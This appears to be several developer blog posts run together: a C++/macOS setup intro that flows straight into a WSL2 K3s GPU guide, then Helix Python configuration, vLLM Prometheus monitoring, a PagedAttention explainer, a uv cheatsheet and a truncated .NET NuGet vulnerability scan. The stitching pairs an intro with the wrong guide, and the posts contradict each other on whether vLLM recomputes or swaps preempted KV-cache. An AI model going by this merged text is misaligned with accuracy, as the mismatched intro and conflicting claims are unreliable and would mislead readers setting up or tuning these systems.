I’m starting to learn modern C++ seriously (yes, seriously), so I wanted a clean and repeatable development setup on macOS with Apple Silicon.

My goals are simple:

• use a modern LLVM/Clang toolchain
• build projects with CMake and Ninja
• get proper language-server support in VS Code and Helix
• use sanitizers and static analysis from the beginning
• keep the setup practical, not over-engineered
• make sure everything is reproducible on any M-series Mac

This post is a cheatsheet and assumes that Homebrew is already installed.

Why I did this

I wanted a local environment where I can:

• run Kubernetes
• schedule GPU workloads
• experiment with CUDA / inference / device plugins
• without renting cloud GPUs

I have a Lenovo Legion laptop with an RTX GPU and WSL2. Turns out:

Yes, you can run Kubernetes with GPU access inside WSL2. But there are a couple of non-obvious traps.

This is a step-by-step guide based on a working setup.

TL;DR

Final stack:

• Windows 11 + NVIDIA driver (WSL-enabled)
• WSL2 (Ubuntu 24.04)
• K3s (containerd)
• NVIDIA Container Toolkit
• NVIDIA device plugin
• One critical fix: device plugin must use runtimeClassName: nvidia

Prerequisites

You need:

• Windows 11
• NVIDIA GPU (RTX in my case)
• Latest NVIDIA driver with WSL support
• WSL2 installed

Inside WSL:

nvidia-smi

If this works — you’re good.

Step 1: Don’t install Linux NVIDIA drivers

WSL already provides everything via:

/usr/lib/wsl/lib/

If nvidia-smi is missing:

echo 'export PATH=$PATH:/usr/lib/wsl/lib' >> ~/.bashrc
source ~/.bashrc

Do NOT run:

apt install nvidia-utils-*

You will break your setup.

Step 2: Install NVIDIA Container Toolkit

curl -fsSL https://nvidia.github.io/libnvidia-container/gpgkey | \
  sudo gpg --dearmor -o /usr/share/keyrings/nvidia-container-toolkit-keyring.gpg

curl -s -L https://nvidia.github.io/libnvidia-container/stable/deb/nvidia-container-toolkit.list | \
  sed 's#deb https://#deb [signed-by=/usr/share/keyrings/nvidia-container-toolkit-keyring.gpg] https://#g' | \
  sudo tee /etc/apt/sources.list.d/nvidia-container-toolkit.list

sudo apt update
sudo apt install -y nvidia-container-toolkit

Step 3: Verify GPU in containers (Podman)

Generate CDI config:

sudo mkdir -p /etc/cdi
sudo nvidia-ctk cdi generate --output=/etc/cdi/nvidia.yaml

Test:

podman run --rm --device=nvidia.com/gpu=all ubuntu nvidia-smi

Step 4: Install K3s

Make sure systemd is enabled:

ps -p 1 -o comm=

Should print:

systemd

Install K3s:

curl -sfL https://get.k3s.io | sh -

Configure kubeconfig:

mkdir -p ~/.kube
sudo cp /etc/rancher/k3s/k3s.yaml ~/.kube/config
sudo chown $USER:$USER ~/.kube/config
export KUBECONFIG=~/.kube/config

Check:

kubectl get nodes

Step 5: Enable NVIDIA runtime in K3s

sudo nvidia-ctk runtime configure --runtime=containerd
sudo systemctl restart k3s

Verify:

sudo grep nvidia /var/lib/rancher/k3s/agent/etc/containerd/config.toml

Step 6: Install NVIDIA device plugin

kubectl apply -f \
https://raw.githubusercontent.com/NVIDIA/k8s-device-plugin/v0.17.1/deployments/static/nvidia-device-plugin.yml

Check:

kubectl get ds -n kube-system | grep nvidia
kubectl get pods -n kube-system | grep nvidia

Step 7: The critical fix (WSL2-specific)

At this point the plugin runs but sees zero GPUs.

Logs look like:

No devices found. Waiting indefinitely.

Fix:

kubectl patch daemonset nvidia-device-plugin-daemonset \
  -n kube-system \
  --type='merge' \
  -p '{"spec":{"template":{"spec":{"runtimeClassName":"nvidia"}}}}'

Restart pod:

kubectl delete pod -n kube-system -l name=nvidia-device-plugin-ds

Verify:

kubectl get node -o jsonpath='{.status.capacity.nvidia\.com/gpu}'

Expected:

1

Step 8: Run a GPU workload

cat <<'EOF' | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: cuda-smoke-test
spec:
  restartPolicy: Never
  runtimeClassName: nvidia
  containers:
  - name: cuda
    image: nvcr.io/nvidia/k8s/cuda-sample:nbody
    args: ["nbody", "-gpu", "-benchmark"]
    resources:
      limits:
        nvidia.com/gpu: 1
EOF

Watch:

kubectl get pod cuda-smoke-test -w
kubectl logs cuda-smoke-test

What actually broke on my first attempts

Everything worked except one subtle thing:

The NVIDIA device plugin itself was running under the wrong runtime.

Even though, containerd knew about NVIDIA, Podman could use GPU, and CUDA worked.

The plugin pod still used default runtime → no GPU → no resources.

Setting:

runtimeClassName: nvidia

fixed it.

Final result

After following these steps, you should have:

• local Kubernetes cluster
• GPU scheduling
• CUDA workloads
• no cloud costs

All inside WSL2.

When to use this

This setup is good for:

• learning Kubernetes GPU scheduling
• testing inference workloads
• experimenting with device plugins
• prototyping LLM infra locally

Not great for:

• performance benchmarking
• multi-GPU experiments
• production-like environments

One last tip

Save your working config:

kubectl get ds nvidia-device-plugin-daemonset -n kube-system -o yaml > nvidia-device-plugin-wsl2.yaml

This saves you from debugging this again later.

In a day to day life, I'm big Visual Studio Code user. I use it for all my working and personal projects, and most of the time, I love it. I've been using this editor for years while switching between different languages and ecosystems, and it has been a great companion for my development journey. I truly appreciate the effort that Microsoft has put into making VS Code a versatile and powerful tool for all sorts of developers.

However, with the rise of coding agents and chat-based interfaces, I've found myself looking for a less distracting and more focused coding environment. I want something that allows me to immerse myself in the code without the constant notifications and status updates that come in panels and sidebars. Especially when I read books and try to reimplement the concepts and examples in code. For that reason, I've been exploring Helix, a terminal-based code editor that promises to be fast, efficient, and yet powerful enough for modern development.

I've already configured Helix for working with code in Go, and it has been a great experience. Unfortunately, I haven't written a note for myself about setting up Helix back then. Such a pitty. To avoid the same mistake, here's a note about how I set up Helix for Python development, including LSP, type checker (ty), code formatter (ruff) and more. I hope this cheat sheet will be useful for anyone else and save you some time.

A quick disclaimer: I'm a macOS user, so some of the instructions may be specific to that platform. However, most of the tools and configurations should work on other operating systems as well.

Before we start, how do you even check whether Helix is configured for Python development? The easiest way is to run this command in the terminal:

hx --health python

In my case, the output looks like this:

Configured language servers:
  ✘ ty: 'ty' not found in $PATH
  ✘ ruff: 'ruff' not found in $PATH
  ✘ jedi: 'jedi-language-server' not found in $PATH
  ✘ pylsp: 'pylsp' not found in $PATH
Configured debug adapter: None
Configured formatter: None
Tree-sitter parser: ✓
Highlight queries: ✓
Textobject queries: ✓
Indent queries: ✓

As you can see, I haven't configured any language servers or formatters yet, but I have the Tree-sitter parser and queries set up. Let's fix that. As many of us, I'm a big fan of Astral's tools, so I'll be using uv to manage dependencies.

uv tool install ruff
uv tool install ty

This will install ruff (code formatter) and ty (type checker) as command-line tools that we can use in Helix. On macOS, uv tool install puts executables in a user bin directory that must be on your PATH. The exact path depends on your setup, but a very common fix is:

echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc

Execute the command above if you haven't already, and then check that the tools are available:

which ruff
which ty

If which shows nothing, Helix will not see them either. Now, let's check the health again:

hx --health python

The output should now look like this:

Configured language servers:
  ✓ ty: /Users/akrisanov/.local/bin/ty
  ✓ ruff: /Users/akrisanov/.local/bin/ruff
  ✘ jedi: 'jedi-language-server' not found in $PATH
  ✘ pylsp: 'pylsp' not found in $PATH
Configured debug adapter: None
Configured formatter: None
Tree-sitter parser: ✓
Highlight queries: ✓
Textobject queries: ✓
Indent queries: ✓

To make the tools work in Helix, we need to add some configuration. Open the Helix configuration file (usually located at ~/.config/helix/languages.toml) and add the following lines:

[[language]]
name = "python"
language-servers = ["ruff", "ty"]
auto-format = true
formatter = { command = "ruff", args = ["format", "-"] }

[language-server.ruff]
command = "ruff"
args = ["server"]

[language-server.ty]
command = "ty"
args = ["server"]

The final part is to make debugpy available for debugging. You can install it with pip:

pip install debugpy

and then append the following lines to the Helix configuration file:

[language.debugger]
name = "debugpy"
transport = "stdio"
command = "python3"
args = ["-m", "debugpy.adapter"]

[[language.debugger.templates]]
name = "source"
request = "launch"
completion = [
  { name = "entrypoint", completion = "filename", default = "." }
]
args = { mode = "debug", program = "{0}" }

Now you should have a fully configured Helix for Python development, with ruff as the code formatter and ty as the type checker.

Enjoy!

Updated: 2026-06-18

Version scope: This guide targets vLLM 0.23.x and its default V1 engine. Metric names and semantics change between releases, so verify the /metrics output of the exact version and serving configuration you run before copying queries or alerts into production.

Why this guide exists

A vLLM server can be healthy from Kubernetes' point of view while users still experience slow or unstable responses. The pods are running, the GPUs are busy, and the API answers health checks—but requests wait in the scheduler, long prompts make prefill expensive, or token streaming becomes uneven.

The goal of this guide is not to list every metric exported by vLLM. It is to connect a small set of signals to the questions engineers ask during incidents and capacity reviews:

1. Are users receiving the first token quickly enough?
2. Does token streaming remain smooth after generation starts?
3. Is the scheduler accepting work faster than the engine can process it?
4. Is KV-cache pressure causing preemption and recomputation?
5. Is the deployment doing useful work at the expected throughput?
6. Did the workload change, or did the serving system regress?

The examples use Prometheus and Grafana, but the mental model applies to other monitoring backends as well.

Start with the observability boundary

vLLM metrics describe the inference server and engine. They do not describe the entire request path.

A production request usually crosses several layers:

Client
  -> API gateway or ingress
  -> authentication, quotas, and routing
  -> vLLM API server
  -> scheduler and model executor
  -> streaming response
  -> client

A user-visible latency regression can originate in any of these layers. A useful monitoring stack therefore combines:

• Gateway metrics: incoming request rate, HTTP status codes, upstream latency, retries, timeouts, and client disconnects
• vLLM metrics: queueing, TTFT, inter-token latency, request latency, throughput, preemption, and KV-cache usage
• GPU and host metrics: utilization, memory, power, clocks, throttling, PCIe or NVLink errors, and node health

Engine metrics explain what happens inside vLLM. They cannot, by themselves, prove that the complete service is healthy.

Metric names and Prometheus conventions

vLLM exposes Prometheus metrics on the OpenAI-compatible server's /metrics endpoint.

Metric names use the vllm: prefix:

vllm:num_requests_running
vllm:time_to_first_token_seconds
vllm:prompt_tokens_total

Standard Prometheus preserves the colon. Some OpenTelemetry pipelines, managed monitoring products, or custom ingestion layers may normalize metric names. Always check the names stored in your monitoring backend:

curl -s http://<vllm-host>:8000/metrics | grep '^vllm:' | head -50

Metric type determines how to query it:

• Histograms have _bucket, _sum, and _count series. Use rate() and histogram_quantile() to calculate latency percentiles
• Counters are exposed with a _total suffix. Use rate() or increase()
• Gauges represent current state. Query them directly or aggregate them across replicas

The examples below group by model_name. Add stable labels such as cluster, namespace, or service where appropriate. Avoid aggregating unrelated models into one percentile: a fast small model can hide a regression in a much larger one.

The latency metrics that users notice

Three latency metrics cover most user-visible complaints.

TTFT: time to first token

Metric:

vllm:time_to_first_token_seconds

TTFT measures how long vLLM takes to produce the first output token. At the serving boundary, it includes request processing, scheduler waiting, prefill, and the first generation step. Client-visible TTFT also includes gateway, routing, network, and streaming overhead.

A high TTFT does not automatically mean the GPU is slow. It may indicate queueing, longer prompts, lower prefix-cache reuse, or a slow first model-execution step.

ITL: inter-token latency

Metric:

vllm:inter_token_latency_seconds

ITL measures the delay between streamed output tokens. This is the most direct engine-level metric for visible pauses during streaming.

Request-level TPOT

Metric:

vllm:request_time_per_output_token_seconds

This metric records the average time per output token for a completed request. It is useful for comparing decode efficiency across requests, but it can hide individual stalls. A request may have acceptable average TPOT while still containing several poor ITL samples.

For interactive services, monitor both ITL and request-level TPOT. Use ITL for streaming smoothness and TPOT for request-level decode efficiency.

Supporting latency metrics

• Queue time: vllm:request_queue_time_seconds
• End-to-end latency inside the vLLM serving boundary: vllm:e2e_request_latency_seconds
• Prefill time: vllm:request_prefill_time_seconds
• Decode time: vllm:request_decode_time_seconds

PromQL for latency percentiles

P95 TTFT

histogram_quantile(
  0.95,
  sum by (le, model_name) (
    rate(vllm:time_to_first_token_seconds_bucket[5m])
  )
)

P99 inter-token latency

histogram_quantile(
  0.99,
  sum by (le, model_name) (
    rate(vllm:inter_token_latency_seconds_bucket[5m])
  )
)

P95 request-level TPOT

histogram_quantile(
  0.95,
  sum by (le, model_name) (
    rate(vllm:request_time_per_output_token_seconds_bucket[5m])
  )
)

P95 queue time

histogram_quantile(
  0.95,
  sum by (le, model_name) (
    rate(vllm:request_queue_time_seconds_bucket[5m])
  )
)

P95 vLLM end-to-end latency

histogram_quantile(
  0.95,
  sum by (le, model_name) (
    rate(vllm:e2e_request_latency_seconds_bucket[5m])
  )
)

Percentiles need enough observations. P99 over five minutes is often noisy for low-volume models. Show request volume next to percentile panels, use a longer range when traffic is sparse, and remember that classic Prometheus histogram quantiles are estimated from configured buckets.

A practical interpretation matrix

No single metric identifies the cause. Use combinations of signals:

Treat this table as triage, not proof. Confirm the hypothesis with workload-shape metrics, preemption counters, prefix-cache metrics, GPU telemetry, and request traces.

Throughput and offered load

Latency tells you what users experience. Throughput tells you how much work the engine completes.

Prompt tokens per second

sum by (model_name) (
  rate(vllm:prompt_tokens_total[5m])
)

Generated tokens per second

sum by (model_name) (
  rate(vllm:generation_tokens_total[5m])
)

Completed engine requests per second

sum by (model_name) (
  rate(vllm:request_success_total[5m])
)

The last query measures completed engine requests, not incoming demand. During overload, completion rate may flatten while new requests continue to arrive. Measure true offered load at the gateway or API-server boundary.

Token throughput is meaningful only alongside workload shape. A drop in generated tokens per second may mean:

• lower request volume
• shorter outputs
• more prefill-heavy traffic
• slower decode
• scheduler contention
• a model or configuration change

Before calling it a serving regression, compare request rate, prompt-token rate, output-length distributions, TTFT, ITL, queue time, and active concurrency.

Workload shape: the missing part of many dashboards

The same model and hardware can behave very differently when prompt and output lengths change.

Useful request histograms include:

• vllm:request_prompt_tokens
• vllm:request_generation_tokens
• vllm:request_params_max_tokens
• vllm:request_prefill_kv_computed_tokens

These metrics answer questions such as:

• Did prompts become longer after a product release?
• Are users requesting much larger outputs?
• Did prefix caching reduce the amount of prefill work?
• Is a latency change explained by traffic composition rather than infrastructure?

Keep workload-shape panels near latency and throughput panels. Otherwise, engineers will repeatedly misdiagnose legitimate workload changes as serving regressions.

Scheduler and KV-cache pressure

The current V1 engine normally handles KV-cache pressure through preemption and recomputation. When the active working set no longer fits cleanly, vLLM can evict request state and later recompute it. Correctness is preserved, but useful compute is repeated and latency increases.

Scheduler state

• vllm:num_requests_running — requests included in active model-execution batches
• vllm:num_requests_waiting — requests waiting for scheduler capacity
• vllm:num_requests_waiting_by_reason — waiting requests partitioned by reason
• vllm:num_preemptions_total — cumulative number of preemptions

A non-zero waiting gauge is not automatically an incident. Short queues are normal under bursty traffic and continuous batching. Alert on sustained queue time, a growing backlog, or queueing that violates the service objective.

KV-cache usage

Metric:

vllm:kv_cache_usage_perc

This gauge represents the fraction of allocated KV-cache capacity currently in use.

High usage is not inherently bad. A healthy operating range depends on model architecture, context-length distribution, concurrency, prefix-cache reuse, speculative decoding, and cache configuration. Do not copy a universal threshold such as 80% or 95% without testing your own deployment.

A stronger pressure signal is the combination of:

• KV-cache usage near its normal ceiling
• increasing queue time
• increasing preemptions
• worsening TTFT, ITL, or vLLM end-to-end latency

Preemption rate

sum by (model_name) (
  rate(vllm:num_preemptions_total[5m])
)

An occasional preemption during a short burst may not justify an incident. The meaningful condition is sustained preemption above a tested baseline, especially when latency or queueing also degrades.

Prefix-cache effectiveness

When automatic prefix caching is enabled, calculate the hit ratio from its counters:

sum by (model_name) (
  rate(vllm:prefix_cache_hits_total[5m])
)
/
clamp_min(
  sum by (model_name) (
    rate(vllm:prefix_cache_queries_total[5m])
  ),
  1
)

Interpret this together with workload composition. A low ratio may be expected for diverse prompts. A sudden drop for a stable workload may explain increased prefill cost and TTFT.

Request completion and failures

vLLM exposes a counter of completed engine requests partitioned by the finished_reason label:

vllm:request_success_total{finished_reason="..."}

Completed requests by reason

sum by (model_name, finished_reason) (
  rate(vllm:request_success_total[5m])
)

Despite its name, this metric is not a complete service-level success-rate metric. Requests can fail before they reach the engine because of authentication, quota enforcement, malformed input, routing failures, gateway timeouts, or connection errors. Client disconnects and cancellations may also be represented differently depending on the serving path and version.

Use request_success_total as an engine-completion signal. Measure service availability and error rate at the HTTP boundary.

The production dashboard

A useful incident dashboard should answer four questions: what users experience, whether work is queueing, whether the engine is under memory pressure, and whether the workload changed.

Include at least:

1. Incoming request rate and HTTP error rate at the gateway or API server
2. P95 and P99 TTFT
3. P95 and P99 ITL
4. P95 request-level TPOT
5. P95 vLLM end-to-end latency
6. P95 queue time and current waiting requests
7. Preemption rate and KV-cache usage
8. Prompt and generation token throughput
9. Prompt-length and output-length distributions
10. Prefix-cache hit ratio when prefix caching is enabled
11. GPU utilization, memory, power, clocks, throttling, and hardware errors

vLLM ships reference Grafana and Perses dashboards. Use them as a baseline, then add your deployment labels, gateway metrics, SLO panels, and links to pod-level GPU telemetry.

Alerts that reflect user impact

Alert thresholds should come from SLOs and representative load tests, not generic constants copied from another deployment.

The following rules demonstrate useful alert shapes. Replace example thresholds and selectors with values derived from your service.

groups:
  - name: vllm-serving
    rules:
      - alert: VLLMHighTTFT
        expr: |
          histogram_quantile(
            0.95,
            sum by (le, cluster, model_name) (
              rate(vllm:time_to_first_token_seconds_bucket[5m])
            )
          ) > 3
        for: 10m
        labels:
          severity: warning
        annotations:
          summary: "vLLM TTFT is above the service objective"
          description: "P95 TTFT for {{ $labels.model_name }} is {{ $value | printf \"%.2f\" }} seconds."

      - alert: VLLMQueueTimeHigh
        expr: |
          histogram_quantile(
            0.95,
            sum by (le, cluster, model_name) (
              rate(vllm:request_queue_time_seconds_bucket[5m])
            )
          ) > 2
        for: 10m
        labels:
          severity: warning
        annotations:
          summary: "vLLM requests are spending too long in the scheduler queue"
          description: "P95 queue time for {{ $labels.model_name }} is {{ $value | printf \"%.2f\" }} seconds."

      - alert: VLLMPreemptionRelatedDegradation
        expr: |
          sum by (cluster, model_name) (
            increase(vllm:num_preemptions_total[10m])
          ) > 0
          and
          histogram_quantile(
            0.95,
            sum by (le, cluster, model_name) (
              rate(vllm:time_to_first_token_seconds_bucket[5m])
            )
          ) > 3
        for: 10m
        labels:
          severity: warning
        annotations:
          summary: "vLLM preemptions correlate with degraded TTFT"
          description: "Requests are being recomputed while TTFT is above the service objective."

The preemption expression is intentionally correlated with latency and aggregated to the same cluster and model_name labels as TTFT. Page on user impact, not on an isolated internal event.

In a mature SRE setup, prefer multi-window burn-rate alerts for availability and latency SLOs. Raw percentile alerts are easier to explain in a compact guide, but they should not replace a complete SLO strategy.

Runbook: metrics to diagnosis

Scenario 1: TTFT rises and queue time rises

What you see

• P95 TTFT increases
• P95 queue time increases
• vllm:num_requests_waiting remains above its normal baseline

Likely causes

• offered load exceeds serving capacity
• prompt lengths increased
• large prefills occupy scheduler capacity
• traffic is distributed unevenly across replicas

What to do

1. Compare incoming request rate and prompt-length distributions with the previous healthy period
2. Check whether all replicas receive comparable traffic and remain healthy
3. Confirm whether the bottleneck is prefill, decode, or queueing
4. Apply admission control or shed non-critical load if latency is unstable
5. Scale out only after confirming that additional replicas address the actual bottleneck

Scenario 2: ITL rises while queue time remains low

What you see

• P95 or P99 ITL increases
• queue time remains close to normal
• generated tokens per second may fall

Likely causes

• excessive active concurrency
• GPU memory-bandwidth pressure
• GPU clock or power throttling
• distributed-execution or communication overhead
• a model, kernel, or runtime change

What to do

1. Check GPU clocks, power, temperature, utilization, and hardware-error metrics
2. Compare the model and vLLM configuration with the last healthy release
3. Run a representative load test before changing max_num_seqs or max_num_batched_tokens
4. Remember that lower concurrency may improve ITL while reducing aggregate throughput or increasing queue time

Scenario 3: Preemptions increase

What you see

• rate(vllm:num_preemptions_total[5m]) becomes elevated
• KV-cache usage is near its normal ceiling
• queue time, TTFT, ITL, or end-to-end latency worsens

What it means

The active KV-cache working set does not fit cleanly. vLLM evicts request state and recomputes it later, which wastes compute and increases latency.

What to do

1. Stabilize admitted load before tuning the engine
2. Check whether prompt lengths, output limits, or concurrency changed
3. Reproduce the workload in a controlled load test
4. Test max_num_seqs and max_num_batched_tokens as trade-offs, not one-directional fixes
5. Increase gpu_memory_utilization only after validating startup and peak-load memory behavior Leave headroom for CUDA graphs, communication buffers, runtime workspaces, and model-specific allocation spikes.
6. Add replicas or GPU capacity if the working set is legitimate and sustained

Scenario 4: HTTP errors or client cancellations rise

What you see

• gateway or API-server 4xx/5xx rates increase
• upstream timeouts or client disconnects increase
• vLLM engine completion rate may fall or remain flat

Likely causes

• authentication or quota failures
• gateway timeout configuration
• malformed or unsupported requests
• overloaded routing or admission layers
• clients giving up while requests wait
• engine or CUDA failures

What to do

1. Start at the HTTP boundary: status codes, timeout reasons, and upstream latency
2. Correlate failures with vLLM queue time and TTFT
3. Inspect vLLM and GPU logs for runtime or hardware errors
4. Do not infer the service error rate from request_success_total alone

Final checklist

• User experience: TTFT, ITL, request-level TPOT, and end-to-end latency
• Offered load: incoming HTTP requests, status codes, and timeouts
• Scheduler pressure: queue time, waiting requests, and active requests
• Memory pressure: KV-cache usage and preemptions
• Useful work: prompt and generation tokens per second
• Workload shape: prompt lengths, output lengths, and requested limits
• Infrastructure: GPU, host, network, and distributed-execution telemetry
• Operations: tested thresholds, SLO-based alerts, and an incident runbook

The core mental model is simple: request-level latency tells you what users experience; scheduler, cache, workload-shape, and infrastructure metrics explain why.

References

• vLLM production metrics
• vLLM metrics design
• vLLM monitoring dashboards
• Prometheus metric and label naming

If you’ve ever tried to serve large language models at scale, you’ve probably hit the same wall: VRAM runs out much earlier than expected, batching stops scaling, and latency becomes unpredictable.

vLLM exists almost entirely to fix this.

At its core, vLLM is a high-performance LLM inference engine that dramatically improves GPU utilization. The key idea behind it is PagedAttention – a different way to manage the KV-cache that removes most of the memory waste common in traditional LLM serving stacks.

Let’s break down why this is such a big deal.

The Core Problem: KV-Cache Fragmentation

In traditional LLM serving systems, the KV-cache (the keys and values representing token context) must live in a single contiguous block of GPU memory.

There’s a catch: you don’t know in advance how long the model’s answer will be.

So the system plays it safe and reserves memory for the maximum context length – say, 2048 or 4096 tokens – for every request.

The result?

• Large chunks of VRAM are reserved but never used
• Memory becomes fragmented
• Up to 60–80% of KV-cache memory is effectively wasted

That wasted VRAM could have been used to serve more requests in parallel.

PagedAttention: Borrowing an Idea from Operating Systems

PagedAttention takes inspiration from virtual memory and paging in operating systems.

Instead of allocating one big contiguous block per request, it does this:

1. Split KV-cache into fixed-size blocks. Each request’s KV-cache is divided into blocks (for example, 16 or 32 tokens per block).
2. No need for physical continuity. These blocks can live anywhere in VRAM – they don’t have to be next to each other.
3. Virtual addressing with a Block Table. vLLM keeps a mapping from logical token order to physical memory blocks on the GPU.
4. Allocate memory only when needed. New blocks are allocated only when new tokens are generated – no upfront over-reservation.

This single change unlocks most of vLLM’s performance gains.

Key Effects of Paged KV-cache

Almost no external fragmentation

Because blocks don’t need to be contiguous, free memory can be reused efficiently instead of becoming unusable holes.

Minimal internal fragmentation

Only the last block of a sequence may be partially empty. With reasonable block sizes, memory loss is typically below 4%.

Much larger batch sizes

Better memory efficiency means more concurrent requests per GPU, which is the main driver of performance on modern GPUs.

Massive throughput gains

In practice, this enables:

• 2–4× throughput vs. TGI
• Up to ~24× vs. naïve Hugging Face serving setups

True continuous batching

New requests can be added as soon as finished ones free blocks – no need to wait for a full batch boundary.

Memory sharing (prefix / prompt caching)

Multiple requests can point to the same physical blocks for shared prefixes (system prompts, long examples).

Copy-on-write when sequences diverge

If you generate multiple completions from the same prompt, new blocks are allocated only when outputs differ. This can save up to ~55% of KV-cache memory.

Better TTFT under load (indirectly)

PagedAttention doesn’t speed up the first token itself, but higher throughput clears queues faster – reducing queue time, which users perceive as better TTFT.

Graceful preemption and swapping

If VRAM runs low, individual blocks can be swapped to CPU memory instead of crashing the server with OOM.

No recomputation

Unlike approaches that drop KV-cache under pressure, PagedAttention preserves progress and resumes generation without re-processing the prompt.

Block Size: A Subtle but Important Knob

Block size affects:

• Internal fragmentation
• Metadata and indexing overhead
• Eviction and preemption behavior (if used)

Smaller blocks = better memory efficiency, higher overhead.

Larger blocks = lower overhead, more wasted tail space.

There’s no universal best value – it depends on workload shape.

A Note About Prefill vs Decode

It’s important to separate these phases:

Prefill

• Often compute- or memory-bound
• Cost grows with input sequence length

Decode

• Usually memory-bandwidth-bound
• Heavily dependent on KV-cache efficiency and batching
• TTFT (Time to First Token) = queue time + prefill latency

PagedAttention mainly improves decode throughput.

So if you see this pattern:

• tokens/sec ↑
• p99 TTFT unchanged (or worse)

You optimized decode, but you’re still bottlenecked on queueing or prefill.

Why vLLM Became the Default Choice

vLLM didn’t win because of a single micro-optimization. It won because PagedAttention fundamentally changes how GPU memory is used for LLM serving.

If you care about:

• high throughput
• stable latency under load
• efficient use of expensive GPUs

then understanding vLLM is no longer optional – it’s baseline knowledge for modern LLM infrastructure.

Overview

uv is an end-to-end solution for managing Python projects, command-line tools, single-file scripts, and even Python itself.

Think of it as Python’s Cargo: a unified, cross‑platform tool that’s fast, reliable, and easy to use.

This post is not a deep introduction to uv — many excellent articles already exist; instead, it’s a concise cheat sheet for everyday use.

Installation & Updates

# Install
curl -LsSf https://astral.sh/uv/install.sh | sh

# Update
uv self update

Managing Python Versions

Instead of juggling tools like pyenv, mise, asdf, or OS‑specific hacks, you can simply use uv:

# List available versions
uv python list

# Install Python 3.13
uv python install 3.13

• Works the same across all OSes
• No admin rights required
• Independent of system Python

You can also use mise alongside uv if you prefer a global version manager.

Projects & Dependencies

Initialize a new project (creates a pyproject.toml automatically):

uv init myproject or # uv init -p 3.13 --name myproject
cd myproject

Sync dependencies (similar to pip install -r requirements.txt, but faster and more reliable):

uv sync

Add dependencies:

uv add litestar
uv add pytest --dev

Lock dependencies (generates a cross‑platform lockfile, like Pipfile.lock or poetry.lock):

uv lock

💡 The lock file is cross platform, so you can develop on Windows and deploy on Linux.

Fast Virtual Environments

# Create & activate venv automatically
uv venv
source .venv/bin/activate

# Or skip activation and run directly with uv:
uv run python app.py

Scripts

# Create a new script
uv init --script

# /// script
# requires-python = ">=3.13"
# dependencies = [
#     "requests",
# ]
# ///
import requests

print(requests.get("https://akrisanov.com"))

Run single‑file scripts with automatic dependency installation:

uv run script.py

💡 On *nix, add #!/usr/bin/env -S uv run (then chmod +x) to automatically call uv run for a script.

Tools

Install CLI tools globally, isolated from system Python:

uv tool install ruff # replaces pipx
uv tool install httpie

uvx httpie # a shortcut

# --with [temp dependency] runs jupyter in the current project
# without adding it and its dependencies to the project
uv run --with jupyter jupyter notebook

💡 uv run is fast enough that it implicitly re‑locks and re‑syncs the project each time, keeping your environment up to date automatically.

If you're developing a CLI tool, uv can help minimize the friction:

uv init --package your_tool
uv tool install . -e

See the tools documentation

Replacing pip-tools

uv pip compile # replaces pip-tools compile
uv pip sync    # replaces pip-tools sync

Building and publishing packages

# Build a `.whl` package for PyPI
uv build
# Upload your Python package to PyPI
uv publish

Pre-commit hooks

uv run --with pre-commit-uv pre-commit run --all-files
pre-commit-uv

GitHub Actions

astral-sh/setup-uv # brings UV to GitHub Actions

Docker

Official Docker images provide uv and Python preinstalled:

ghcr.io/astral-sh/uv:latest

Also, check Production-ready Python Docker Containers with uv by Hynek Schlawack.

Workspaces

uv supports organizing one or more packages into a workspace to manage them together.

Example: you might have a FastAPI web application alongside several libraries, all versioned and maintained as separate Python packages in the same Git repository.

In a workspace, each package has its own pyproject.toml, but the workspace shares a single lockfile, ensuring that the workspace operates with a consistent set of dependencies.

Things to Keep in Mind

• uv sync respects .python-version, but the UV_PYTHON environment variable takes precedence
• Uses python‑build‑standalone, which can be slightly slower than system builds (~1–3%) and lacks CPU‑specific optimizations
• Cache size can grow large (a trade‑off for speed and reliability)
• Legacy projects may fail if they depended on pip’s older, looser dependency resolution rules

Why uv Matters

Python has always had a fragmented ecosystem of tools: pip, pip-tools, virtualenv, venv, pipx, pyenv, poetry, tox…

With uv, we finally get something closer to Rust’s Cargo or JavaScript’s npm/pnpm: a single, consistent, cross‑platform tool for environments, dependencies, scripts, and tools — and it’s fast.

References & Further Reading

• Dependency Sources — explains how uv resolves dependencies
• UV with Django
• PEP 723 – Inline script metadata
• WIP: Using uv run as a task runner

Additional Notes

• While some people don’t care about uv being fast, it’s shaved minutes off CI builds and container rebuilds — saving money and energy.
• Astral capitalized on a very promising project called python-build-standalone and now maintains it. These are Python builds that work without installers.

Some time ago, I was working in a company that was building a SaaS that was written in .NET. The code base was a decade old, and like many companies using Microsoft technologies, it had been through a few framework upgrades. The intent was to move to modern technologies and refactor outdated components, but the execution was rather poor. By the time I put on my engineering manager's hat, many of the NuGet packages in the solution were out of date and even deprecated.

In Python and Go projects, I rely heavily on linting, static analysis, and formatting tools. Not having these essentials would make me and my teams less productive. So the first thing I did was understand what modern .NET brings to the table in this area. And I started by scanning the NuGet packages we use in all of our projects in a single solution for potential vulnerabilities.

It turned out that developers could simply run dotnet list package --vulnerable locally to keep an eye on security. But without automation, it's too easy to forget about that.

My first local scan produced the following result:

...
Project `X.Infrastructure.Calendar` has the following vulnerable packages
   [net6.0]:
   Top-level Package            Requested   Resolved   Severity   Advisory URL
   > System.Data.SqlClient      4.8.3       4.8.3      Moderate   https://github.com/advisories/GHSA-8g2p-5pqh-5jmc
                                                       High       https://github.com/advisories/GHSA-98g6-xh36-x2p7

The given project `X.Infrastructure.Common` has no vulnerable packages given the current sources.
Project `X.Infrastructure.Currency` has the following vulnerable packages
   [net6.0]:
   Top-level Package            Requested   Resolved   Severity   Advisory URL
   > System.Data.SqlClient      4.8.3       4.8.3      Moderate   https://github.com/advisories/GHSA-8g2p-5pqh-5jmc
                                                       High       https://github.com/advisories/GHSA-98g6-xh36-x2p7

Project `X.Infrastructure.Locker` has the following vulnerable packages
   [net6.0]:
   Top-level Package            Requested   Resolved   Severity   Advisory URL
   > System.Data.SqlClient      4.8.3       4.8.3      Moderate   https://github.com/advisories/GHSA-8g2p-5pqh-5jmc
                                                       High       https://github.com/advisories/GHSA-98g6-xh36-x2p7

The given project `X.Infrastructure.Locker.Tests.Unit` has no vulnerable packages given the current sources.
The given project `X.Infrastructure.Pool` has no vulnerable packages given the current sources.
Project `X.Infrastructure.Repositories` has the following vulnerable packages
   [net6.0]:
   Top-level Package            Requested   Resolved   Severity   Advisory URL
   > System.Data.SqlClient      4.8.3       4.8.3      Moderate   https://github.com/advisories/GHSA-8g2p-5pqh-5jmc
